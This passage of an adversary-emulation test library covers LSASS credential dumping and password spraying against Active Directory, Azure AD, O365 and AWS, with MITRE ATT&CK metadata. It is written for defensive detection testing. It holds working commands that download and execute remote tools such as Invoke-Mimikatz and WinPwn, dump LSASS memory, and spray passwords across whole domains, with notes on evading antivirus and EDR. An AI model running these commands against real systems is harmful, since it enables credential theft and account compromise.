PathToAtomicsFolder\..\ExternalPayloads\Outflank-Dumpert.exe dependency_executor_name: powershell dependencies: - description: 'Dumpert executable must exist on disk at specified location (#{dumpert_exe}) ' prereq_command: 'if (Test-Path "#{dumpert_exe}") {exit 0} else {exit 1} ' get_prereq_command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 New-Item -ItemType Directory (Split-Path "#{dumpert_exe}") -Force | Out-Null Invoke-WebRequest "https://github.com/clr2of8/Dumpert/raw/5838c357224cc9bc69618c80c2b5b2d17a394b10/Dumpert/x64/Release/Outflank-Dumpert.exe" -OutFile "#{dumpert_exe}" executor: command: '"#{dumpert_exe}" ' cleanup_command: 'del C:\windows\temp\dumpert.dmp >nul 2> nul ' name: command_prompt elevation_required: true - name: Dump LSASS.exe Memory using NanoDump auto_generated_guid: dddd4aca-bbed-46f0-984d-e4c5971c51ea description: | The NanoDump tool uses syscalls and an invalid dump signature to avoid detection. https://github.com/helpsystems/nanodump Upon successful execution, you should find the nanondump.dmp file in the temp directory supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: 'NanoDump executable must exist on disk at specified location (PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe) ' prereq_command: 'if (Test-Path PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe) {exit 0} else {exit 1} ' get_prereq_command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://github.com/fortra/nanodump/blob/2c0b3d5d59c56714312131de9665defb98551c27/dist/nanodump.x64.exe\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\nanodump.x64.exe\" \n" executor: command: 'PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp" ' cleanup_command: 'del "%temp%\nanodump.dmp" >nul 2> nul ' name: command_prompt elevation_required: true - name: Dump LSASS.exe Memory using Windows Task Manager auto_generated_guid: dea6c349-f1c6-44f3-87a1-1ed33a59a607 description: | The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with the Windows Task Manager and administrative permissions. supported_platforms: - windows executor: steps: | 1. Open Task Manager: On a Windows system this can be accomplished by pressing CTRL-ALT-DEL and selecting Task Manager or by right-clicking on the task bar and selecting "Task Manager". 2. Select lsass.exe: If lsass.exe is not visible, select "Show processes from all users". This will allow you to observe execution of lsass.exe and select it for manipulation. 3. Dump lsass.exe memory: Right-click on lsass.exe in Task Manager. Select "Create Dump File". The following dialog will show you the path to the saved file. name: manual - name: Offline Credential Theft With Mimikatz auto_generated_guid: 453acf13-1dbd-47d7-b28a-172ce9228023 description: | The memory of lsass.exe is often dumped for offline credential theft attacks. Adversaries commonly perform this offline analysis with Mimikatz. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands. supported_platforms: - windows input_arguments: input_file: description: Path of the Lsass dump type: path default: "%tmp%\\lsass.DMP" mimikatz_exe: description: Path of the Mimikatz binary type: string default: PathToAtomicsFolder\..\ExternalPayloads\x64\mimikatz.exe dependency_executor_name: powershell dependencies: - description: 'Mimikatz must exist on disk at specified location (#{mimikatz_exe}) ' prereq_command: 'if (Test-Path "#{mimikatz_exe}") {exit 0} else {exit 1} ' get_prereq_command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$basePath = Split-Path \"#{mimikatz_exe}\" | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n" - description: 'Lsass dump must exist at specified location (#{input_file}) ' prereq_command: 'cmd /c "if not exist #{input_file} (exit /b 1)" ' get_prereq_command: 'Write-Host "Create the lsass dump manually using the steps in the previous test (Dump LSASS.exe Memory using Windows Task Manager)" ' executor: command: '"#{mimikatz_exe}" "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit ' name: command_prompt elevation_required: true - name: LSASS read with pypykatz auto_generated_guid: c37bc535-5c62-4195-9cc3-0517673171d8 description: | Parses secrets hidden in the LSASS process with python. Similar to mimikatz's sekurlsa:: Python 3 must be installed, use the get_prereq_command's to meet the prerequisites for this test. Successful execution of this test will display multiple usernames and passwords/hashes to the screen. Will create a Python virtual environment within the External Payloads folder that can be deleted manually post test execution. supported_platforms: - windows input_arguments: venv_path: description: Path to the folder for the tactics venv type: string default: PathToAtomicsFolder\..\ExternalPayloads\venv_t1003_001 dependency_executor_name: powershell dependencies: - description: 'Computer must have python 3 installed ' prereq_command: 'if (Get-Command py -errorAction SilentlyContinue) { exit 0 } else { exit 1 } ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null invoke-webrequest "https://www.python.org/ftp/python/3.10.4/python-3.10.4-amd64.exe" -outfile "PathToAtomicsFolder\..\ExternalPayloads\python_setup.exe" Start-Process -FilePath "PathToAtomicsFolder\..\ExternalPayloads\python_setup.exe" -ArgumentList "/quiet InstallAllUsers=1 PrependPath=1 Include_test=0" -Wait - description: 'Computer must have venv configured at #{venv_path} ' prereq_command: 'if (Test-Path -Path "#{venv_path}") { exit 0 } else { exit 1 } ' get_prereq_command: 'py -m venv "#{venv_path}" ' - description: "pypykatz must be installed \n" prereq_command: 'if (Get-Command "#{venv_path}\Scripts\pypykatz" -errorAction SilentlyContinue) { exit 0 } else { exit 1 } ' get_prereq_command: '& "#{venv_path}\Scripts\pip.exe" install --no-cache-dir pypykatz 2>&1 | Out-Null ' executor: command: "\"#{venv_path}\\Scripts\\pypykatz\" live lsa \n" cleanup_command: 'del "%temp%\nanodump.dmp" > nul 2> nul ' name: command_prompt elevation_required: true - name: Dump LSASS.exe Memory using Out-Minidump.ps1 auto_generated_guid: 6502c8f0-b775-4dbd-9193-1298f56b6781 description: | The memory of lsass.exe is often dumped for offline credential theft attacks. This test leverages a pure powershell implementation that leverages the MiniDumpWriteDump Win32 API call. Upon successful execution, you should see the following file created $env:TEMP\lsass_*.dmp. Author of Out-Minidump: Matthew Graeber (@mattifestation) supported_platforms: - windows executor: command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop} catch{ $_; exit $_.Exception.Response.StatusCode.Value__} get-process lsass | Out-Minidump cleanup_command: 'Remove-Item $env:TEMP\lsass_*.dmp -ErrorAction Ignore ' name: powershell elevation_required: true - name: Create Mini Dump of LSASS.exe using ProcDump auto_generated_guid: 7cede33f-0acd-44ef-9774-15511300b24b description: | The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals ProcDump. This particular method uses -mm to produce a mini dump of lsass.exe Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp. If you see a message saying "procdump.exe is not recognized as an internal or external command", try using the get-prereq_commands to download and install the ProcDump tool first. supported_platforms: - windows input_arguments: output_file: description: Path where resulting dump should be placed type: path default: C:\Windows\Temp\lsass_dump.dmp procdump_exe: description: Path of Procdump executable type: path default: PathToAtomicsFolder\..\ExternalPayloads\procdump.exe dependency_executor_name: powershell dependencies: - description: 'ProcDump tool from Sysinternals must exist on disk at specified location (#{procdump_exe}) ' prereq_command: 'if (Test-Path "#{procdump_exe}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://download.sysinternals.com/files/Procdump.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\Procdump.zip" Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\Procdump.zip" "PathToAtomicsFolder\..\ExternalPayloads\Procdump" -Force New-Item -ItemType Directory (Split-Path "#{procdump_exe}") -Force | Out-Null Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\Procdump\Procdump.exe" "#{procdump_exe}" -Force executor: command: '"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file} ' cleanup_command: 'del "#{output_file}" >nul 2> nul ' name: command_prompt elevation_required: true - name: Powershell Mimikatz auto_generated_guid: 66fb0bc1-3c3f-47e9-a298-550ecfefacbc description: "Dumps credentials from memory via Powershell by invoking a remote mimikatz script.\nIf Mimikatz runs successfully you will see several usernames and hashes output to the screen.\nCommon failures include seeing an \\\"access denied\\\" error which results when Anti-Virus blocks execution. \nOr, if you try to run the test without the required administrative privileges you will see this error near the bottom of the output to the screen \"ERROR kuhl_m_sekurlsa_acquireLSA\"\n" supported_platforms: - windows input_arguments: remote_script: description: URL to a remote Mimikatz script that dumps credentials type: url default: https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1 executor: command: 'IEX (New-Object Net.WebClient).DownloadString(''#{remote_script}''); Invoke-Mimikatz -DumpCreds ' name: powershell elevation_required: true - name: Dump LSASS with createdump.exe from .Net v5 auto_generated_guid: 9d0072c8-7cca-45c4-bd14-f852cfa35cf0 description: | Use createdump executable from .NET to create an LSASS dump. [Reference](https://twitter.com/bopin2020/status/1366400799199272960?s=20) supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: ".Net v5 must be installed\n" prereq_command: | $exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe" if ($exePath -and (Test-Path $exePath)) {exit 0} else {exit 1} get_prereq_command: 'winget install Microsoft.DotNet.DesktopRuntime.5 --accept-source-agreements --accept-package-agreements --silent ' executor: command: | $exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe" & "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id cleanup_command: 'Remove-Item $env:Temp\dotnet-lsass.dmp -ErrorAction Ignore ' name: powershell elevation_required: true - name: Dump LSASS.exe using imported Microsoft DLLs auto_generated_guid: 86fc3f40-237f-4701-b155-81c01c48d697 description: "The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved by\nimporting built-in DLLs and calling exported functions. Xordump will re-read the resulting minidump \nfile and delete it immediately to avoid brittle EDR detections that signature lsass minidump files.\n\nUpon successful execution, you should see the following file created $env:TEMP\\lsass-xordump.t1003.001.dmp.\n" supported_platforms: - windows input_arguments: xordump_exe: description: Path to xordump type: path default: C:\Windows\Temp\xordump.exe output_file: description: Path where resulting dump should be placed type: path default: C:\Windows\Temp\lsass-xordump.t1003.001.dmp dependencies: - description: 'Computer must have xordump.exe ' prereq_command: 'if (Test-Path ''#{xordump_exe}'') {exit 0} else {exit 1} ' get_prereq_command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Invoke-WebRequest "https://github.com/audibleblink/xordump/releases/download/v0.0.1/xordump.exe" -OutFile #{xordump_exe} executor: command: "#{xordump_exe} -out #{output_file} -x 0x41\n" cleanup_command: 'Remove-Item #{output_file} -ErrorAction Ignore ' name: powershell elevation_required: true - name: Dump LSASS.exe using lolbin rdrleakdiag.exe auto_generated_guid: 47a539d1-61b9-4364-bf49-a68bc2a95ef0 description: "The memory of lsass.exe is often dumped for offline credential theft attacks. \nThis can be achieved with lolbin rdrleakdiag.exe. \n\nUpon successful execution, you should see the following files created, $env:TEMP\\minidump_.dmp and $env:TEMP\\results_.hlk.\n" supported_platforms: - windows executor: command: "if (Test-Path -Path \"$env:SystemRoot\\System32\\rdrleakdiag.exe\") {\n $binary_path = \"$env:SystemRoot\\System32\\rdrleakdiag.exe\"\n \ } elseif (Test-Path -Path \"$env:SystemRoot\\SysWOW64\\rdrleakdiag.exe\") {\n $binary_path = \"$env:SystemRoot\\SysWOW64\\rdrleakdiag.exe\"\n \ } else {\n $binary_path = \"File not found\"\n exit 1\n }\n$lsass_pid = get-process lsass |select -expand id\nif (-not (Test-Path -Path\"$env:TEMP\\t1003.001-13-rdrleakdiag\")) {New-Item -ItemType Directory -Path $env:TEMP\\t1003.001-13-rdrleakdiag -Force} \nwrite-host $binary_path /p $lsass_pid /o $env:TEMP\\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1\n& $binary_path /p $lsass_pid /o $env:TEMP\\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1\nWrite-Host \"Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\\t1003.001-13-rdrleakdiag directory.\"\n" cleanup_command: 'Remove-Item $env:TEMP\t1003.001-13-rdrleakdiag -Recurse -Force -ErrorAction Ignore ' name: powershell elevation_required: true - name: Dump LSASS.exe Memory through Silent Process Exit auto_generated_guid: eb5adf16-b601-4926-bca7-dad22adffb37 description: "WerFault.exe (Windows Error Reporting process that handles process crashes) can be abused to create a \nmemory dump of lsass.exe, in a directory of your choice. This method relies on a mechanism \nintroduced in Windows 7 called Silent Process Exit, which provides the ability to trigger\nspecific actions for a monitored process in one of two scenarios; either the process terminates\nitself by calling ExitProcess(), or another process terminates it via the TerminateProcess() API. \nThe major advantage of this technique is that it does not cause lsass.exe to crash, and since \nWerFault.exe is used to create file dumps all the time (not just lsass.exe), this method provides \nthe added advantage of going undetected. WerFault.exe is a process known for dumping every crashing process, \nfrom an attacker standpoint this is appealing as their illicit credential extraction will \nappear benign because from a defender’s viewpoint it’s within the realm of normal activity.\n\nUpon successful execution, you should find the dump file in directory of your choice or \"%temp%\\SilentProcessExit\" by default.\n" supported_platforms: - windows input_arguments: output_folder: description: Folder Path where resulting dump should be placed type: path default: "%temp%\\SilentProcessExit" dependency_executor_name: powershell dependencies: - description: 'NanoDump executable must exist on disk at specified location (PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe) ' prereq_command: 'if (Test-Path PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe) {exit 0} else {exit 1} ' get_prereq_command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/fortra/nanodump/blob/2c0b3d5d59c56714312131de9665defb98551c27/dist/nanodump.x64.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe" executor: command: 'PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}" ' cleanup_command: 'rmdir "#{output_folder}" /s /q >nul 2> nul ' name: command_prompt elevation_required: true T1110.003: technique: modified: '2024-03-07T14:33:34.201Z' name: 'Brute Force: Password Spraying' description: |- Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying) Typically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following: * SSH (22/TCP) * Telnet (23/TCP) * FTP (21/TCP) * NetBIOS / SMB / Samba (139/TCP & 445/TCP) * LDAP (389/TCP) * Kerberos (88/TCP) * RDP / Terminal Services (3389/TCP) * HTTP/HTTP Management Services (80/TCP & 443/TCP) * MSSQL (1433/TCP) * Oracle (1521/TCP) * MySQL (3306/TCP) * VNC (5900/TCP) In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018) In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows "logon failure" event ID 4625. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_contributors: - Microsoft Threat Intelligence Center (MSTIC) - John Strand x_mitre_deprecated: false x_mitre_detection: |- Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Specifically, monitor for many failed authentication attempts across various accounts that may result from password spraying attempts. Consider the following event IDs:(Citation: Trimarc Detecting Password Spraying) * Domain Controllers: "Audit Logon" (Success & Failure) for event ID 4625. * Domain Controllers: "Audit Kerberos Authentication Service" (Success & Failure) for event ID 4771. * All systems: "Audit Logon" (Success & Failure) for event ID 4648. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows - Azure AD - Office 365 - SaaS - IaaS - Linux - macOS - Google Workspace - Containers - Network x_mitre_version: '1.5' x_mitre_data_sources: - 'User Account: User Account Authentication' - 'Application Log: Application Log Content' type: attack-pattern id: attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c created: '2020-02-11T18:39:25.122Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1110/003 external_id: T1110.003 - source_name: Trimarc Detecting Password Spraying description: 'Metcalf, S. (2018, May 6). Trimarc Research: Detecting Password Spraying with Security Event Auditing. Retrieved January 16, 2019.' url: https://www.trimarcsecurity.com/single-post/2018/05/06/Trimarc-Research-Detecting-Password-Spraying-with-Security-Event-Auditing - source_name: BlackHillsInfosec Password Spraying description: Thyer, J. (2015, October 30). Password Spraying & Other Fun with RPCCLIENT. Retrieved April 25, 2017. url: http://www.blackhillsinfosec.com/?p=4645 - source_name: US-CERT TA18-068A 2018 description: US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019. url: https://www.us-cert.gov/ncas/alerts/TA18-086A object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1110.003 atomic_tests: - name: Password Spray all Domain Users auto_generated_guid: 90bc2e54-6c84-47a5-9439-0a2a92b4b175 description: |- CAUTION! Be very careful to not exceed the password lockout threshold for users in the domain by running this test too frequently. This atomic attempts to map the IPC$ share on one of the Domain Controllers using a password of Spring2020 for each user in the %temp%\users.txt list. Any successful authentications will be printed to the screen with a message like "[*] username:password", whereas a failed auth will simply print a period. Use the input arguments to specify your own password to use for the password spray. Use the get_prereq_command's to create a list of all domain users in the temp directory called users.txt. See the "Windows FOR Loop Password Spraying Made Easy" blog by @OrOneEqualsOne for more details on how these spray commands work. https://medium.com/walmartlabs/windows-for-loop-password-spraying-made-easy-c8cd4ebb86b5 supported_platforms: - windows input_arguments: password: description: The password to try for each user in users.txt type: string default: Spring2020 dependencies: - description: 'List of domain users to password spray must exits at %temp%\users.txt ' prereq_command: 'if not exist %temp%\users.txt (exit /b 1) ' get_prereq_command: '"PathToAtomicsFolder\T1110.003\src\parse_net_users.bat" ' executor: name: command_prompt elevation_required: false command: '@FOR /F %n in (%temp%\users.txt) do @echo | set/p=. & @net use %logonserver%\IPC$ /user:"%userdomain%\%n" "#{password}" 1>NUL 2>&1 && @echo [*] %n:#{password} && @net use /delete %logonserver%\IPC$ > NUL ' - name: Password Spray (DomainPasswordSpray) auto_generated_guid: 263ae743-515f-4786-ac7d-41ef3a0d4b2b description: | Perform a domain password spray using the DomainPasswordSpray tool. It will try a single password against all users in the domain https://github.com/dafthack/DomainPasswordSpray supported_platforms: - windows input_arguments: domain: description: Domain to brute force against type: string default: "$Env:USERDOMAIN" executor: name: powershell elevation_required: false command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/94cb72506b9e2768196c8b6a4b7af63cebc47d88/DomainPasswordSpray.ps1' -UseBasicParsing); Invoke-DomainPasswordSpray -Password Spring2017 -Domain #{domain} -Force - name: Password spray all Active Directory domain users with a single password via LDAP against domain controller (NTLM or Kerberos) auto_generated_guid: f14d956a-5b6e-4a93-847f-0c415142f07d description: | Attempt to brute force all Active Directory domain users with a single password (called "password spraying") on a domain controller, via LDAP, with NTLM or Kerberos Prerequisite: AD RSAT PowerShell module is needed and it must run under a domain user (to fetch the list of all domain users) supported_platforms: - windows input_arguments: password: description: single password we will attempt to auth with (if you need several passwords, then it is a bruteforce so see T1110.001) type: string default: P@ssw0rd! domain: description: Domain FQDN type: string default: "$env:UserDnsDomain" auth: description: authentication method to choose between "NTLM" and "Kerberos" type: string default: NTLM executor: name: powershell elevation_required: false command: | if ("#{auth}".ToLower() -NotIn @("ntlm","kerberos")) { Write-Host "Only 'NTLM' and 'Kerberos' auth methods are supported" exit 1 } $DomainUsers = Get-ADUser -LDAPFilter '(&(sAMAccountType=805306368)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' -Server #{domain} | Select-Object -ExpandProperty SamAccountName [System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols") | Out-Null $di = new-object System.DirectoryServices.Protocols.LdapDirectoryIdentifier("#{domain}",389) $DomainUsers | Foreach-Object { $user = $_ $password = '#{password}' $credz = new-object System.Net.NetworkCredential($user, $password, "#{domain}") $conn = new-object System.DirectoryServices.Protocols.LdapConnection($di, $credz, [System.DirectoryServices.Protocols.AuthType]::#{auth}) try { Write-Host " [-] Attempting ${password} on account ${user}." $conn.bind() # if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success Write-Host " [!] ${user}:${password} are valid credentials!" } catch { Write-Host $_.Exception.Message } } Write-Host "End of password spraying" - name: Password spray all Azure AD users with a single password auto_generated_guid: a8aa2d3e-1c52-4016-bc73-0f8854cfa80a description: | Attempt to brute force all Azure AD users with a single password (called "password spraying") via AzureAD Powershell module. Valid credentials are only needed to fetch the list of Azure AD users. supported_platforms: - azure-ad input_arguments: password: description: Single password we will attempt to auth with (if you need several passwords, then it is a bruteforce so see T1110.001) type: string default: P@ssw0rd! valid_username: description: Valid username to retrieve Azure AD users. We encourage users running this atomic to add a valid microsoft account domain; for eg @ type: string default: bruce.wayne@contoso.com valid_password: description: Valid password to authenticate as valid_username in the type: string default: iamthebatman dependency_executor_name: powershell dependencies: - description: 'AzureAD module must be installed. ' prereq_command: 'try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1} ' get_prereq_command: 'Install-Module -Name AzureAD -Force ' executor: name: powershell elevation_required: false command: | Import-Module -Name AzureAD $PWord = ConvertTo-SecureString -String "#{valid_password}" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{valid_username}", $Pword Connect-AzureAD -Credential $Credential > $null ($Users = Get-AzureADUser -All $true) > $null Disconnect-AzureAD > $null $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force $Users | Foreach-Object { $user = $_.UserPrincipalName $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "$user", $Pword try { Write-Host " [-] Attempting #{password} on account ${user}." Connect-AzureAD -Credential $Credential 2>&1> $null # if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success Write-Host " [!] ${user}:#{password} are valid credentials!`r`n" Disconnect-AzureAD > $null } catch { Write-Host " [-] ${user}:#{password} invalid credentials.`r`n" } } Write-Host "End of password spraying" - name: WinPwn - DomainPasswordSpray Attacks auto_generated_guid: 5ccf4bbd-7bf6-43fc-83ac-d9e38aff1d82 description: DomainPasswordSpray Attacks technique via function of WinPwn supported_platforms: - windows executor: command: |- $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') domainpassspray -consoleoutput -noninteractive -emptypasswords name: powershell - name: Password Spray Invoke-DomainPasswordSpray Light auto_generated_guid: b15bc9a5-a4f3-4879-9304-ea0011ace63a description: "Perform a domain password spray using the same core method of the [DomainPasswordSpray tool](https://github.com/dafthack/DomainPasswordSpray) \nbut without all the extra code that makes the script get blocked by many AVs. \nThis atomic test will attempt a single password against all users in a password list at $env:Temp\\usersdpsLight.txt. You can create this file manually\nor with the automated prereq_command. The prereq_command will limit the user list to 200 users by default to help you avoid massive account lockout.\n" supported_platforms: - windows input_arguments: user_limit: description: The max number of users to put in the list when running the prereq_command type: integer default: 200 password: description: The password to try for each user in users.txt type: string default: Spring2020 dependencies: - description: 'Username file must exist at $env:Temp\usersdpsLight.txt ' prereq_command: 'if (Test-Path $env:Temp\usersdpsLight.txt) {exit 0} else {exit 1} ' get_prereq_command: "Write-Host -NoNewLine \"Reading Users.\" # this code modifed from https://github.com/ZoomerHulkHogan/Powershell-Domain-User-Enumeration\n$netOutput = net users /domain\n$netOutput = [System.Collections.ArrayList]($netOutput[6..($netOutput.length-3)])\n$userLimit = #{user_limit}; $usercount = 0\nforeach ($line in $netOutput) {\n if($usercount -ge $userLimit){break}\n $line = $line.trim()\n $line = $line -split '\\s\\s+'\n \ foreach ($user in $line){\n if($usercount -ge $userLimit){break}\n \ Add-Content $env:Temp\\usersdpsLight.txt $user\n $usercount = $usercount + 1\n } \n}\nWrite-Host \"Usernames saved to $env:Temp\\usersdpsLight.txt\"\n" executor: name: powershell elevation_required: false command: | function Invoke-dpsLight ($Password, $userlist) { $users = Get-Content $userlist $Domain = "LDAP://" + ([ADSI]"").distinguishedName foreach ($User in $users) { $Domain_check = New-Object System.DirectoryServices.DirectoryEntry($Domain, $User, $Password) if ($Domain_check.name -ne $null) { Write-Host -ForegroundColor Green "Password found for User:$User Password:$Password" } else { Write-Host ". " -NoNewline} } Write-Host -ForegroundColor green "Finished" } Invoke-dpsLight "#{password}" $env:Temp\usersdpsLight.txt - name: Password Spray Microsoft Online Accounts with MSOLSpray (Azure/O365) auto_generated_guid: f3a10056-0160-4785-8744-d9bd7c12dc39 description: 'This test attempts to brute force a list of Microsoft Online (Azure/O365) users with a single password via the MSOLSpray Powershell module. ' supported_platforms: - azure-ad input_arguments: password: description: Single password to try against the list of user accounts type: string default: P@ssword1 user_list: description: File path to list of users (one per line, formatted as user@subdomain.onmicrosoft.com) type: string default: "$env:temp\\T1110.003UserList.txt" dependency_executor_name: powershell dependencies: - description: 'MSOLSpray module must exist in PathToAtomicsFolder\..\ExternalPayloads. ' prereq_command: 'if (test-path "PathToAtomicsFolder\..\ExternalPayloads\MSOLSpray.ps1"){exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null invoke-webrequest "https://raw.githubusercontent.com/dafthack/MSOLSpray/922f159104fb3ec77c9fc6507a6388a05c227b5f/MSOLSpray.ps1" -outfile "PathToAtomicsFolder\..\ExternalPayloads\MSOLSpray.ps1" executor: name: powershell elevation_required: false command: | import-module "PathToAtomicsFolder\..\ExternalPayloads\MSOLSpray.ps1" Invoke-MSOLSpray -UserList "#{user_list}" -Password "#{password}" - name: Password Spray using Kerbrute Tool auto_generated_guid: c6f25ec3-6475-47a9-b75d-09ac593c5ecb description: 'Test a single password against a list of users ' supported_platforms: - windows input_arguments: domaincontroller: description: Domain controller where test will be run type: string default: "$ENV:userdnsdomain" domain: description: Domain where you will be testing type: string default: "$ENV:userdomain" dependency_executor_name: powershell dependencies: - description: 'kerbrute.exe must exist in PathToAtomicsFolder\..\ExternalPayloads ' prereq_command: 'if (test-path "PathToAtomicsFolder\..\ExternalPayloads\kerbrute.exe"){exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null invoke-webrequest "https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_windows_386.exe" -outfile "PathToAtomicsFolder\..\ExternalPayloads\kerbrute.exe" - description: 'passwordspray.txt must exist in PathToAtomicsFolder\..\ExternalPayloads ' prereq_command: 'if (test-path "PathToAtomicsFolder\..\ExternalPayloads\passwordspray.txt"){exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null invoke-webrequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1110.003/src/passwordspray.txt?raw=true" -outfile "PathToAtomicsFolder\..\ExternalPayloads\passwordspray.txt" executor: name: powershell elevation_required: false command: "cd \"PathToAtomicsFolder\\..\\ExternalPayloads\"\n.\\kerbrute.exe passwordspray --dc #{domaincontroller} -d #{domain} \"PathToAtomicsFolder\\..\\ExternalPayloads\\passwordspray.txt\" password132 \n" - name: AWS - Password Spray an AWS using GoAWSConsoleSpray auto_generated_guid: 9c10d16b-20b1-403a-8e67-50ef7117ed4e description: 'GoAWSConsoleSpray is a tool that can be used to spray AWS IAM Console Credentials in order to identify a valid login for a user account built by WhiteOakSecurity. For more details reagrding the tool, check - https://www.whiteoaksecurity.com/blog/goawsconsolespray-password-spraying-tool/ ' supported_platforms: - iaas:aws input_arguments: aws_account_id: description: ID of the AWS account type: string default: XXXXXXXX dependencies: - description: 'Check if go is installed ' prereq_command: 'go version ' get_prereq_command: 'echo Install GO ' executor: command: | cd /tmp git clone git@github.com:WhiteOakSecurity/GoAWSConsoleSpray.git cd /tmp/GoAWSConsoleSpray go run main.go GoAWSConsoleSpray -a 